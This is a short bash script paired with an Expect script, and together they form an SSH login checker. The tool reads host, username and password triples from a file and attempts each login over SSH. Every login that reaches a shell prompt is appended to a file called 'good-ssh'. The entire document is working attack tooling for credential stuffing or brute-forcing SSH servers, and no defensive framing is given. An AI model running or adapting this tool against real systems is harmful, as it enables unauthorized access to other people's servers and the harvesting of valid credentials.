#!/bin/bash

if [ $# > 0 ]; then 
	file=`cat $1`
	t=0
	for i in ${file[@]/\r\n//}
	do
		case $t in
			0) host=$i ;;	
			1) user=$i ;;
			*) pass=$i 
			t=0
			expect ./ssh.exp $host $user $pass > /dev/null
			if [ $? = 1 ]; then
				echo "$host $user $pass" >> good-ssh
			fi
		esac
		let "t+=1"
	done	
else 
	echo "Use: $0 file"
fi

#!/usr/bin/expect

proc  auth {1 2 3} {
	global result
	spawn ssh "$2@$1"
	expect { 
		"Password:" { send "$3\r" }
		
		timeout { 
			set result 0
			return 0 
		}
		"known" { 
			set result 0
			return 0 
		}
		"yes" { send "yes\r" }

	}
	expect {
		"Password:" { 
			set result 0
			return 0
		}
		"denied" {
			set result 0
			return 0 
		}
		-ex "$" {
			send "quit\r"
			set result 1
			return 1
		}
		-ex "#" {
			send "quit\r"
			set result 1
			return 1
		}
		timeout { 
			set result 0
			return 0 
		}

	}

}

set i 1
foreach arg $argv {
	if { $i == 1 } { set host $arg }
	if { $i == 2 } { set login $arg }
	if { $i == 3 } { set pass $arg }
	incr i
}
	auth $host $login $pass
	exit $result